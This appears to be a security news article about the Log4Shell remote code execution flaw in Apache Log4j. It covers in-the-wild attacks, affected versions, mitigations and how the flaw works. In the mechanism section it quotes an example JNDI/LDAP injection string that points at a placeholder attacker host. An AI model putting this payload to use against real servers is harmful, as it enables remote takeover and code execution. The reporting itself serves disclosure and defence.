Description
An excruciating, easily exploited flaw in the ubiquitous Java logging library Apache Log4j could allow unauthenticated remote code execution (RCE) and complete server takeover — and it’s being exploited in the wild.
The flaw first turned up on sites that cater to users of the world’s favorite game, Minecraft, on Thursday. The sites reportedly warned that attackers could unleash malicious code on either servers or clients running the Java version of Minecraft by manipulating log messages, including from text typed into chat messages.
The same day, the as-yet-unpatched flaw was dubbed “Log4Shell” by LunaSec and began being tracked as CVE-2021-44228.
By early Friday morning, the Cyber Emergency Response Team (CERT) of the Deutsche Telekom Group tweeted that it was seeing attacks on its honeypots coming from the Tor network as threat actors tried to exploit the new bug,
🚨⚠️New #0-day vulnerability tracked under “Log4Shell” and CVE-2021-44228 discovered in Apache Log4j 🌶️‼️ We are observing attacks in our honeypot infrastructure coming from the TOR network. Find Mitigation instructions here: https://t.co/tUKJSn8RPF pic.twitter.com/WkAn911rZX
— Deutsche Telekom CERT (@DTCERT) December 10, 2021
Ditto for CERT New Zealand; and all day, people have piped up on Twitter to warn that they’re also seeing in-the-wild exploits.
This problem is going to cause a mini-internet meltdown, experts said, given that Log4j is incorporated into scads of popular frameworks, including Apache Struts2, Apache Solr, Apache Druid and Apache Flink. That exposes an eye-watering number of third-party apps that may also be vulnerable to the same type of high-severity exploits as that spotted in Minecraft, as well as in cloud services such as Steam and Apple iCloud, LunaSec warned.
As of Friday, version 2.15.0 had been released: log4j-core.jar is available on Maven Central here, with release notes are available here and Apache’s Log4j security announcements available here.
‘Mini-Internet Meltdown’ Imminent?
Even though an initial fix was rushed out on Friday, it’s going to take time to trickle down to all of those projects, given how extensively the logging library is incorporated downstream.
“Expect a mini-internet meltdown soonish,” said British security specialist Kevin Beaumont, who tweeted that the fix “needs to flow downstream to Apache Struts2, Solr, Linux distributions, vendors, appliances etc.”
Just one example of the bug’s massive reach: On Friday morning, Rob Joyce, director of cybersecurity at the National Security Agency (NSA), tweeted that even the NSA’s GHIDRA – a suite of reverse-engineering tools developed by NSA’s Research Directorate – includes the buggy Log4j library.
“The Log4j vulnerability is a significant threat for exploitation due to the widespread inclusion in software frameworks, even NSA’s GHIDRA. This is a case study in why the software bill of material (SBOM) concepts are so important to understand exposure.” — Rob Joyce, NSA Director of Cybersecurity.
Max CVSS Score of 10
The bug find has been credited to Chen Zhaojun of Alibaba. It’s been assigned the maximum CVSS score of 10, given how relatively easy it is to exploit, attackers’ ability to seize control of targeted servers and the ubiquity of Log4j. According to CERT Austria, the security hole can be exploited by simply logging a special string.
Researchers told Ars Technica that Log4Shell is a Java deserialization bug that stems from the library making network requests through the Java Naming and Directory Interface (JNDI) to an LDAP server and executing any code that’s returned. It’s reportedly triggered inside of log messages with use of the ${} syntax.
“JNDI triggers a look-up on a server controlled by the attacker and executes the returned code,” according to CERT Austria’s advisory, posted Friday, which noted that code for an exploit proof-of-concept (PoC) was published on GitHub.
The internet’s reaction: “Umm, yikes.”
“This Log4j (CVE-2021-44228) vulnerability is extremely bad,” tweeted security expert Marcus Hutchins. “Millions of applications use Log4j for logging, and all the attacker needs to do is get the app to log a special string.”
Javageddon
Security researchers don’t want to say that the sky is falling, per se, but. well, it is. They’re comparing this scenario to Shellshock with regards to its huge potential severity. Aka Bashdoor, Shellshock was a family of security bugs in the Unix Bash shell present in almost all Linux, UNIX and Mac OS X deployments. Within hours of its initial disclosure in 2014, it was being exploited by botnets of compromised computers to perform distributed denial-of-service (DDoS) attacks and vulnerability scanning.
Security researchers are considering Log4Shell to be much like Shellshock with regards to the enormous attack surface it poses. John Hammond, Senior Security Researcher at Huntress, who created a PoC for Log4Shell, predicted that threat actors will likely include payloads in simple HTTP connections, either in a User-Agent header or trivial POST form data.
_“_Organizations are already seeing signs of exploitation in the wild, and adversaries will just spray-and-pray across the internet,” he told Threatpost via email on Friday. This isn’t a targeted attack, he noted, given that “there is no target.”
He recommended that organizations actively using Apache log4j “absolutely must upgrade to log4j-2.1.50-rc2 as soon as possible.”
Hammond shared this growing list of software and components vulnerable to Log4Shell that’s being cultivated on GitHub.
``
Affected Versions
On Thursday, LunaSec explained that affected versions are 2.0 <= Apache log4j <= 2.14.1.
It added that JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 aren’t affected by the LDAP attack vector, given that in those versions, “com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP.”
Vulnerability also depends on specific configurations. But there are “other attack vectors targeting this vulnerability which can result in RCE,” LunaSec continued. “Depending on what code is present on the server, an attacker could leverage this existing code to execute a payload,” pointing to a Veracode post on an attack targeting the class org.apache.naming.factory.BeanFactory that’s present on Apache Tomcat servers.
LunaSec concluded that, “given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe.”
Organizations can tell if they’re affected by examining log files for services using affected Log4j versions. If they contain user-controlled strings – CERT-NZ uses the example of “Jndi:ldap” – they could be affected.
“If you believe you may be impacted by CVE-2021-44228, Randori encourages all organizations to adopt an assumed breach mentality and review logs for impacted applications for unusual activity,” cybersecurity researchers at Randori wrote in a blog post.
Chris Morgan, senior cyber threat intelligence analyst at Digital Shadows, noted that a workaround released to address the flaw, which comes as part of Log4j version 2.15.0; reportedly changes a system setting from “false” to “true” by default.
Don’t change that, he warned: users who change the setting back to “false” remain vulnerable to attack, and as a result, “it is highly recommended that this is not returned to its previous setting.,” he told Threatpost on Friday. “Given the scale of affected devices and exploitability of the bug, it is highly likely to attract considerable attention from both cybercriminals and nation-state-associated actors. Organizations are advised to update to version 2.15.0 and place additional vigilance on logs associated with susceptible applications.”
Temporary Mitigation
To keep the library from being exploited, it’s urgently recommended that Log4j versions are upgraded to log4j-2.15.0-rc1.
But for those who can’t update straight off, LunaSec pointed to a discussion on HackerNews regarding a mitigation strategy available in version 2.10.0 and higher of Log4j that was posted in the early hours of Friday morning.
For versions older than 2.10.0 that can’t be upgraded, these mitigation choices have been suggested:
- Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files (here are Apache’s details); or,
- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior; or
- Users should switch log4j2.formatMsgNoLookups to true by adding:”‐Dlog4j2.formatMsgNoLookups=True” to the JVM command for starting the application.
How the Vulnerability Works
The Huntress ThreatOps team has published details on the vulnerability’s impact and advice on what organizations should do next. Expect it and other reports to be updated as the situation unfolds.
Huntress researchers said that the attack vector is “extremely trivial” for threat actors. As has been noted, it takes just a single text string to trigger an application to reach out to an external location if it’s logged via the vulnerable instance of log4j.
As Hammond told Threatpost, a possible exploit could entail a threat actor supplying special text in an HTTP User-Agent header or a simple POST form request, with the usual form:
${jndi:ldap://maliciousexternalhost.com/resource
…where maliciousexternalhost.com is an instance controlled by the adversary.
The log4j vulnerability parses the input and reaches out to the malicious host via the JNDI. “The first-stage resource acts as a springboard to another attacker-controlled endpoint, which serves Java code to be executed on the original victim,” according to Huntress. “Ultimately, this grants the adversary the opportunity to run any code they would like on the target: remote code execution.”
Stop, Drop, Hunt It Down
So much for baking Christmas cookies: It’s going to be a long weekend for a lot of people, according to Casey Ellis, founder and CTO at Bugcrowd, who calls it “a worst-case scenario.”
“The combination of log4j’s ubiquitous use in software and platforms, the many, many paths available to exploit the vulnerability, the dependencies that will make patching this vulnerability without breaking other things difficult, and the fact that the exploit itself fits into a tweet,” he told Threatpost on Friday via email.
First things first, he said, “stop what you’re doing as a software shop and enumerate where log4j exists and might exist in your environment and products.”
He noted that it’s the kind of software “that can quite easily be there without making its presence obvious, so we expect the tail of exploitability on this vulnerability to be quite long.”
Tim Wade, technical director of the CTO team at Vectra, told Threatpost that the specifics of how attacks will play out are “still a bit open-ended.” But given the widespread use and position of the underlying software, he said, “it absolutely looks like a good candidate for malicious network ingress, which means network defenders should be on guard for suspicious outbound traffic that may indicate command-and-control.”
Wade said this is an example of how critical effective detection and response capabilities are, and “really exposes how risky the ‘prevent, patch, and pray’ strategy that’s so widely adopted in legacy security programs really is.”
John Bambenek, principal threat hunter at Netenrich, said that mitigations should be applied ASAP, including updating Java. He told Threatpost that Web application firewalls should also be updated with an appropriate rule to block such attacks.
121021 15:57 UPDATE: Added input from John Hammond, John Bambenek, Tim Wade and Casey Ellis.